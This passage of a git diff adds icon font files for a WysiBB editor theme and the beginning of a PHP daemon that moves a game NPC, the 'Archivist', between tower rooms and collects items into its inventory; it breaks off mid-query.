ziyNdm{7$W#Mg>*VYTN1{@6B61IV+X5QV--UGiMlcuzSm;%;uPB?5?ce-V{T7>k!6F=BzBhaL&qQTf|={*L)5~yruTOI^rw~XYhe0CR3Mc%WE$a=&2V9tWogUKsIZUo3Gkt1Y{$PuzmI(b^m(9q9ZNQ5eUtWuidHLqvg)(?o%gqongXEN9GOgKBBHk+TX1 zf}Ej>Rl?x6*;pCaS=&@-9zx|@&Kfuv{V-MR(T~^|joz>^8rsZRg9k&;Q^g*7!NzFl zrj60it(;Xn7`jard+3gh(a=Y2jD}v!Wi4&X5_^}PqNI&K7cRWQZY;0wasH9U=joph zE*QvNt1n3zt-d_7r|_A*Uj7_TBGu>C_Y`pk$r&|l{#4~NI5Ra~;dg%DlKyZ{ J#$Q_5{{kqR4@m$3 literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/fonts/WysiBBiconFontAH.otf b/css/wysibb/theme/fonts/WysiBBiconFontAH.otf new file mode 100644 index 0000000000000000000000000000000000000000..03087f55834b9c4cc3ca4921400f040d2931258e GIT binary patch literal 8596 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 C!n@M| literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/fonts/WysiBBiconFontAH.svg b/css/wysibb/theme/fonts/WysiBBiconFontAH.svg new file mode 100644 index 0000000..fc37e72 --- /dev/null +++ b/css/wysibb/theme/fonts/WysiBBiconFontAH.svg @@ -0,0 +1,112 @@ + + + + +Created by FontForge 20090914 at Wed Nov 21 09:26:06 2012 + By www-data + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/css/wysibb/theme/fonts/WysiBBiconFontAH.ttf b/css/wysibb/theme/fonts/WysiBBiconFontAH.ttf new file mode 100644 index 0000000000000000000000000000000000000000..256115ccc2a8d4cbea41c56cb4bcdcca2061ec6d GIT binary patch literal 8840 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 literal 0 HcmV?d00001 diff --git a/css/wysibb/theme/fonts/WysiBBiconFontAH.woff b/css/wysibb/theme/fonts/WysiBBiconFontAH.woff new file mode 100644 index 0000000000000000000000000000000000000000..424efcc0bd4619ec5d6fa8b995499f884b24d37e GIT binary patch literal 4548 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 literal 0 HcmV?d00001 diff --git a/daemons/arch_.php b/daemons/arch_.php new file mode 100644 index 0000000..d449534 --- /dev/null +++ b/daemons/arch_.php @@ -0,0 +1,188 @@ +#!/usr/bin/php + /var/log/arch.log'); + sleep(5); + } + + $arch = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '233' LIMIT 1")); + $arha = mysql_fetch_array(mysql_query("SELECT * FROM `bots` WHERE `prototype` = '233' LIMIT 1")); + $user = $arch; + + $rhar = array("501" => array (20,0,502,505,0),"502" => array (15,0,0,0,501),"503" => array (15,0,0,507,0),"504" => array (15,0,0,508,0),"505" => array (20,501,0,510,0),"506" => array (15,0,507,511,0),"507" => array (15,503,508,0,506),"508" => array (25,504,0,513,507),"509" => array (20,0,0,515,0),"510" => array (20,505,511,0,0),"511" => array (20,506,0,0,510),"512" => array (30,0,513,519,0),"513" => array (25,508,514,0,512),"514" => array (20,0,0,0,513),"515" => array (20,509,0,522,0),"516" => array (25,0,517,523,0),"517" => array (25,0,518,0,516),"518" => array (35,0,519,525,517),"519" => array (35,512,520,526,518),"520" => array (35,0,521,0,519),"521" => array (15,0,0,528,0),"522" => array (20,515,0,529,0),"523" => array (15,516,0,530,0),"524" => array (20,0,525,531,0),"525" => array (35,518,526,532,524),"526" => array (40,519,527,533,525),"527" => array (35,0,0,0,526),"528" => array (15,521,529,535,0),"529" => array (20,522,0,0,528),"530" => array (20,523,531,537,0),"531" => array (35,524,0,538,530),"532" => array (20,525,533,539,0),"533" => array (20,526,534,540,532),"534" => array (15,0,0,0,533),"535" => array (20,528,0,541,0),"536" => array (20,0,537,0,535),"537" => array (35,530,0,543,536),"538" => array (20,531,0,544,0),"539" => array (20,532,0,545,0),"540" => array (15,533,0,546,0),"541" => array (20,535,542,547,0),"542" => array (15,0,543,0,541),"543" => array (40,537,544,549,542),"544" => array (40,538,545,550,543),"545" => array (40,539,0,551,544),"546" => array (15,540,0,552,0),"547" => array (20,541,548,553,0),"548" => array (20,0,549,0,547),"549" => array (35,543,550,0,548),"550" => array (40,544,551,554,549),"551" => array (40,545,0,555,550),"552" => array (15,546,0,556,0),"553" => array (20,547,0,557,0),"554" => array (20,550,555,0,0),"555" => array (35,551,0,0,554),"556" => array (15,552,0,559,0),"557" => array (15,553,0,0,0),"558" => array (20,0,559,0,0),"559" => array (20,556,560,0,558),"560" => array (20,0,0,0,559)); + $nextroom = mt_rand(1, 4); + + if(time()-$movetime >= $rhar[$arch['room']][0] && $rhar[$arch['room']][$nextroom] > 0 && !$arha['battle']) { + $movetime = time(); + $list = mysql_query("SELECT `id`, `room`, `login` FROM `users` WHERE `room` = '".$arch['room']."' AND `in_tower` = 1"); + while($u = mysql_fetch_array($list)) { + addchp('Внимание! Архивариус отправился в '.$rooms[$rhar[$arch['room']][$nextroom]].'.', '{[]}'.$u['login'].'{[]}'); + } + + $arch['room'] = $rhar[$arch['room']][$nextroom]; + $list = mysql_query("SELECT `id`, `room`, `login` FROM `users` WHERE `room` = '".$arch['room']."' AND `in_tower` = 1"); + while($u = mysql_fetch_array($list)) { + addchp('Внимание! Архивариус вошел в комнату.', '{[]}'.$u['login'].'{[]}'); + } + #exec("echo \"".date("Y-m-d H:i:s")."[MOVE] ".$arch['room']."\" >> /var/log/arch.log"); + mysql_query("UPDATE `users`, `online` SET `users`.`room` = '".$arch['room']."', `online`.`room` = '".$arch['room']."' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '233'"); + } + + $d = mysql_fetch_array(mysql_query("SELECT SUM(`massa`) FROM `inventory` WHERE `owner` = '233' AND `dressed` = 0")); + if($d[0] < $arch['sila']*4 && !$arha['battle']) { + $objs = mysql_query("SELECT * FROM `deztow_items` WHERE `name` != 'Чек на предьявителя' AND `room` = '".$arch['room']."' LIMIT 1"); + while($obj = mysql_fetch_array($objs)) { + mysql_query("DELETE FROM `deztow_items` WHERE `id` = '".$obj['id']."' LIMIT 1"); + $dress = mysql_fetch_array(mysql_query("SELECT * FROM `shop` WHERE `id` = '".$obj['iteam_id']."' LIMIT 1")); + mysql_query("INSERT INTO `inventory` (`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`,`gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`,`mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`,`koll`) VALUES ('{$dress['id']}','233','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}','{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{